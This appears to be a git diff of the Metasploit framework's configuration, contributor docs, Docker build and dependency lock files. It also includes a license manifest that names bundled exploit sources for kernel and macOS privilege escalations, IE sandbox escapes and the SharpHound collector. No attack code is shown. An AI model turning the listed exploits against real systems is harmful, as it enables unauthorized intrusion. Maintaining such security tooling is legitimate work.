- is_app_ironport?
- is_app_metweblog?
- is_app_oilom?
- is_app_openmind?
- is_app_popad?
- is_app_radware?
- is_app_rfreader?
- is_app_sentry?
- is_app_sevone?
- is_app_splunk?
- is_app_ssl_vpn?
- is_array_type?
- is_auth_required?
- is_author_blacklisted?
- is_badchar
- is_base64?
- is_bind?
- is_cached_size_accurate?
- is_cgi_enabled?
- is_cgi_exploitable?
- is_check_interesting?
- is_child_of?
- is_clr_enabled
- is_connect?
- is_dlink?
- is_dn?
- is_dynamic?
- is_error_code
- is_exception?
- is_exploit_module?
- is_exploitable?
- is_fqdn?
- is_glob?
- is_groupwise?
- is_guest_mode_enabled?
- is_hash_from_empty_pwd?
- is_high_integrity?
- is_hostname?
- is_ie?
- is_imc?
- is_imc_som?
- is_in_admin_group?
- is_interface?
- is_ip_targeted?
- is_key_wanted?
- is_leaf?
- is_local?
- is_logged_in?
- is_loggedin
- is_loopback_address?
- is_mac?
- is_match
- is_md5_format?
- is_module_arch?
- is_module_platform?
- is_module_wanted?
- is_multi_platform_exploit?
- is_not_null?
- is_null_pointer
- is_null_pointer?
- is_num?
- is_num_type?
- is_numeric
- is_online?
- is_parseable
- is_pass_ntlm_hash?
- is_passwd_method?
- is_password_required?
- is_payload_compatible?
- is_payload_platform_compatible?
- is_pointer_type?
- is_pri_key?
- is_proficy?
- is_rdp_up
- is_remote_exploit?
- is_resource_taken?
- is_rf?
- is_rmi?
- is_root?
- is_routable?
- is_running?
- is_scan_complete
- is_secure_admin_disabled?
- is_session_type?
- is_signature_correct?
- is_single_object?
- is_struct_type?
- is_supermicro?
- is_superuser?
- is_sws?
- is_system?
- is_system_user?
- is_target?
- is_target_suitable?
- is_trial_enabled?
- is_trustworthy
- is_uac_enabled?
- is_url_alive
- is_usable?
- is_uuid?
- is_valid?
- is_valid_bus?
- is_valid_snmp_value
- is_value_wanted?
- is_version_compat?
- is_version_tested?
- is_vmware?
- is_vul
- is_vulnerable?
- is_warbird?
- is_windows?
- is_writable
- is_writable?
- is_x86?
- is_zigbee_hwbridge_session?
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/RedundantPercentQ:
+1 -1
View File
@@ -1 +1 @@
3.0.2
3.0.5
+28
View File
@@ -0,0 +1,28 @@
---
include:
- "**/*.rb"
exclude:
- spec/**/*
- test/**/*
- vendor/**/*
- ".bundle/**/*"
- modules/**/*
- data/**/*
- db/**/*
- external/**/*
- plugins/**/*
- scripts/**/* # Some of this is old and may not need indexing???
require: []
domains: []
reporters:
- rubocop
- require_not_found
formatter:
rubocop:
cops: safe
except: []
only: []
extra_args: []
require_paths: []
plugins: []
max_files: 0
+1 -1
View File
@@ -36,7 +36,7 @@ when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
the incident involves a committer, you may report it directly to
caitlin_condon@rapid7.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
+5 -5
View File
@@ -1,6 +1,6 @@
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
world -- a better place! Before you get started, please review our [Code of Conduct](./CODE_OF_CONDUCT.md). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
@@ -15,9 +15,9 @@ Before we get into the details of contributing code, you should know there are m
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
@@ -83,7 +83,7 @@ If you need some more guidance, talk to the main body of open source contributor
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
[Code of Conduct]:https://docs.metasploit.com/docs/code-of-conduct.html
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
@@ -101,7 +101,7 @@ curve, so keep it up!
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
[module documentation]:https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://www.betterspecs.org/
+10 -7
View File
@@ -1,4 +1,4 @@
FROM ruby:3.0.2-alpine3.12 AS builder
FROM ruby:3.0.5-alpine3.15 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -40,15 +40,16 @@ RUN apk add --no-cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
tar -zxf go1.11.2.src.tar.gz && \
rm go1.11.2.src.tar.gz && \
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
tar -zxf go1.19.3.src.tar.gz && \
rm go1.19.3.src.tar.gz && \
cd go/src && \
./make.bash
FROM ruby:3.0.2-alpine3.12
FROM ruby:3.0.5-alpine3.15
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -59,7 +60,9 @@ ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -72,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
+1 -2
View File
@@ -15,8 +15,7 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
# lock to version with 2.6 support until project updates
gem 'pry-byebug', '~> 3.9.0'
gem 'pry-byebug'
# Ruby Debugging Library - rebuilt and included by default from Ruby 3.1 onwards.
# Replaces the old lib/debug.rb and provides more features.
gem 'debug', '>= 1.0.0'
+178 -163
View File
@@ -1,17 +1,20 @@
PATH
remote: .
specs:
metasploit-framework (6.2.22)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-framework (6.3.28)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
aws-sdk-s3
aws-sdk-ssm
bcrypt
bcrypt_pbkdf
bootsnap
bson
concurrent-ruby (= 1.0.5)
chunky_png
dnsruby
ed25519
em-http-request
@@ -30,18 +33,18 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.97)
metasploit-payloads (= 2.0.148)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
metasploit_payloads-mettle (= 1.0.26)
mqtt
msgpack
msgpack (~> 1.6.0)
nessus_rest
net-ldap
net-smtp
net-ssh
network_interface
nexpose
nokogiri
nokogiri (~> 1.14.0)
octokit (~> 4.0)
openssl-ccm
openvas-omp
@@ -52,6 +55,7 @@ PATH
pg
puma
railties
rasn1
rb-readline
recog
redcarpet
@@ -97,76 +101,83 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.7)
actionview (= 6.1.7)
activesupport (= 6.1.7)
rack (~> 2.0, >= 2.0.9)
actionpack (7.0.5)
actionview (= 7.0.5)
activesupport (= 7.0.5)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.7)
activesupport (= 6.1.7)
actionview (7.0.5)
activesupport (= 7.0.5)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.7)
activesupport (= 6.1.7)
activerecord (6.1.7)
activemodel (= 6.1.7)
activesupport (= 6.1.7)
activesupport (6.1.7)
activemodel (7.0.5)
activesupport (= 7.0.5)
activerecord (7.0.5)
activemodel (= 7.0.5)
activesupport (= 7.0.5)
activesupport (7.0.5)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
addressable (2.8.1)
addressable (2.8.4)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
arel-helpers (2.14.0)
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.628.0)
aws-sdk-core (3.145.0)
aws-partitions (1.776.0)
aws-sdk-core (3.174.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.331.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2 (1.382.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.70.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2instanceconnect (1.27.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-iam (1.79.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.114.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (1.66.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.123.1)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.1)
aws-sdk-ssm (1.151.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.10)
bindata (2.4.15)
bootsnap (1.16.0)
msgpack (~> 1.2)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.0.5)
concurrent-ruby (1.2.2)
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.6.2)
irb (>= 1.3.6)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
digest (3.1.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
dnsruby (1.70.0)
simpleidn (~> 0.2.1)
docile (1.4.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
@@ -179,22 +190,22 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubi (1.11.0)
erubi (1.12.0)
eventmachine (1.2.7)
factory_bot (6.2.1)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.23.0)
faker (3.2.0)
i18n (>= 1.8.11, < 2)
faraday (2.5.2)
faraday (2.7.6)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.0)
faraday-retry (2.0.0)
faraday-net_http (3.0.2)
faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
faye-websocket (0.11.2)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.5)
@@ -214,29 +225,30 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.12.0)
i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.4.1)
io-console (0.6.0)
irb (1.7.0)
reline (>= 0.3.0)
jmespath (1.6.1)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.2)
json (2.6.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.18.0)
loofah (2.21.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
nokogiri (>= 1.12.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.9)
metasploit-concern (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.5)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -246,43 +258,41 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.6)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.97)
metasploit_data_models (5.0.5)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-model (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.148)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
metasploit-concern
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
recog (~> 2.0)
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.16.3)
mqtt (0.5.0)
msgpack (1.5.6)
mini_portile2 (2.8.2)
minitest (5.18.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (2.0.2)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-protocol (0.1.3)
net-ldap (0.18.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.1)
digest
net-smtp (0.3.3)
net-protocol
timeout
net-ssh (7.0.1)
net-ssh (7.1.0)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.13.8)
nio4r (2.5.9)
nokogiri (1.14.5)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -292,54 +302,59 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.2.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.3)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.10.0)
pdf-reader (2.11.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.3)
pry (0.13.1)
pg (1.5.3)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (5.0.0)
puma (5.6.5)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.3.0)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.4)
rack-protection (2.2.2)
racc (1.7.0)
rack (2.2.7)
rack-protection (3.0.6)
rack
rack-test (2.0.2)
rack-test (2.1.0)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.7)
actionpack (= 6.1.7)
activesupport (= 6.1.7)
rails-html-sanitizer (1.6.0)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.5)
actionpack (= 7.0.5)
activesupport (= 7.0.5)
method_source
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
rainbow (3.1.1)
rake (13.0.6)
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (2.3.23)
recog (3.1.1)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.5.0)
reline (0.3.1)
redcarpet (3.6.0)
regexp_parser (2.8.0)
reline (0.3.5)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -349,12 +364,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.28)
rex-core (0.1.31)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
rex-exploitation (0.1.36)
rex-exploitation (0.1.38)
jsobfu
metasm
rex-arch
@@ -372,66 +387,66 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.9)
rex-random_identifier (0.1.10)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
metasm
rex-core
rex-text
rex-socket (0.1.43)
rex-socket (0.1.52)
rex-core
rex-sslscan (0.1.8)
rex-sslscan (0.1.9)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.45)
rex-text (0.2.52)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.1)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-rails (5.1.2)
actionpack (>= 5.2)
activesupport (>= 5.2)
railties (>= 5.2)
rspec-core (~> 3.10)
rspec-expectations (~> 3.10)
rspec-mocks (~> 3.10)
rspec-support (~> 3.10)
rspec-support (~> 3.12.0)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
rspec-core (~> 3.12)
rspec-expectations (~> 3.12)
rspec-mocks (~> 3.12)
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.1)
rubocop (1.36.0)
rspec-support (3.12.0)
rubocop (1.52.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
parser (>= 3.2.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.20.1, < 2.0)
rubocop-ast (>= 1.28.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.21.0)
parser (>= 3.1.1.0)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.0)
ruby_smb (3.2.5)
bindata
openssl-ccm
openssl-cmac
@@ -448,41 +463,42 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (2.2.2)
mustermann (~> 2.0)
rack (~> 2.2)
rack-protection (= 2.2.2)
sinatra (3.0.6)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.6)
tilt (~> 2.0)
sqlite3 (1.5.0)
sqlite3 (1.6.3)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
thin (1.8.1)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
timecop (0.9.5)
timeout (0.3.0)
thor (1.2.2)
tilt (2.2.0)
timecop (0.9.6)
timeout (0.3.2)
ttfunk (1.7.0)
tzinfo (2.0.5)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.3)
tzinfo-data (1.2023.3)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.2.0)
unix-crypt (1.3.0)
unicode-display_width (2.4.2)
unix-crypt (1.3.1)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.7.0)
webrick (1.8.1)
websocket-driver (0.7.5)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
windows_error (0.1.4)
windows_error (0.1.5)
winrm (2.3.6)
builder (>= 2.1.2)
erubi (~> 1.8)
@@ -497,9 +513,8 @@ GEM
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.0)
yard (0.9.34)
zeitwerk (2.6.8)
PLATFORMS
ruby
@@ -511,7 +526,7 @@ DEPENDENCIES
memory_profiler
metasploit-framework!
octokit
pry-byebug (~> 3.9.0)
pry-byebug
rake
redcarpet
rspec-rails
+542 -47
View File
@@ -15,54 +15,115 @@ License: BSD-3-clause
# Last updated: 2013-Nov-04
#
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
Copyright: 2007 Roland Bouman
2008-2010 Roland Bouman and Bernardo Damele A. G.
License: LGPL-2.1
Purpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: data/post/SharpHound.exe
data/post/powershell/SharpHound.ps1
Copyright (C) 2016-2022 Specter Ops Inc.
License: GNU GPL 3.0
Purpose: These files are uploaded and executed by
post/windows/gather/bloodhound.
Files: data/templates/to_mem_pshreflection.ps1.template
Copyright: 2012, Matthew Graeber
License: BSD-3-clause
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
Copyright: 2020 Johnny Shaw
License: MIT
Files: external/source/exploits/CVE-2018-8120/*
Copyright: 2018
License: GNU GPL 3
Purpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module
Files: external/source/exploits/CVE-2022-1043/cve-2022-1043.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-1043, a local privilege escalation vulnerability in
Linux kernels 5.12-rc3 - 5.14-rc7.
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-22942, a local privilege escalation vulnerability in
Linux kernels 4.14-rc1 - 5.17-rc1.
Files: exteneral/source/exploits/CVE-2022-26904/*
Copyright: 2022 Abdelhamid Naceri
License: MIT
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Purpose: This set of source code supports the following modules
exploits/windows/local/ms13_097_ie_registry_symlink.rb
exploits/windows/local/ms14_009_ie_dfsvc.rb
Files: external/source/ipwn/*
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
2007 H D Moore <hdm [at] metasploit.com>
License: GPL-2 and Artistic
Files: external/source/ReflectiveDLLInjection/*
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
License: BSD-3-clause
Purpose: These files are used in payloads/stages/osx/armle/execute
Files: external/source/metsvc/*
Copyright: 2007, Determina Inc.
License: BSD-3-clause
Files: external/source/tightvnc/*
Copyright: 1999 AT&T Laboratories Cambridge.
2000 Tridia Corp.
2002-2003 RealVNC Ltd.
2001-2004 HorizonLive.com, Inc.
2000-2007 Constantin Kaplinsky
2000-2009 TightVNC Group
License: GPL-2
Files: external/source/osx/isight/*
Copyright: 2009
License: GPL
Purpose: Used in modules/payloads/stages/osx/x86/isight to capture images.
Files: external/source/pxesploit/regeditor/ntreg.h
external/source/pxesploit/regeditor/ntreg.c
Copyright: 1997-2010, Petter Nordahl-Hagen
License: LGPL
Purpose: Unknown. These files are used to create a linux binary called regeditor
which allows a linux OS to edit a Windows registry. It is used in
pxesploit modules.
Files: external/source/ReflectiveDLLInjection/*
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
License: BSD-3-clause
Files: external/source/shellcode/windows/build.sh
Copyright: 2009
License: GPL / Perl Artistic
Purpose: A perl script to build some of the x86 Windows payloads.
Files: external/source/unixasm/*
Copyright: 2004-2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
License: BSD-4-clause
Files: external/source/vncdll/winvnc/*
external/source/tightvnc/*
Copyright: 1999 AT&T Laboratories Cambridge.
2000 Tridia Corp.
2002-2003 RealVNC Ltd.
@@ -70,8 +131,19 @@ Copyright: 1999 AT&T Laboratories Cambridge.
2000-2006 Constantin Kaplinsky.
2000-2009 TightVNC Group
License: GPL-2
Purpose: The built result is used in:
payloads/stages/windows/vncinject.rb
payloads/stages/windows/x64/vncinject.rb
Files: lib/anemone.rb lib/anemone/*
Files: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c
Copyright: 1999-2007 Apple Inc.
License: Apple
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-46689, a local privilege escalation vulnerability in
MacOSX versions (macOS dirty cow)
Files: lib/anemone.rb
lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
@@ -80,14 +152,22 @@ Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
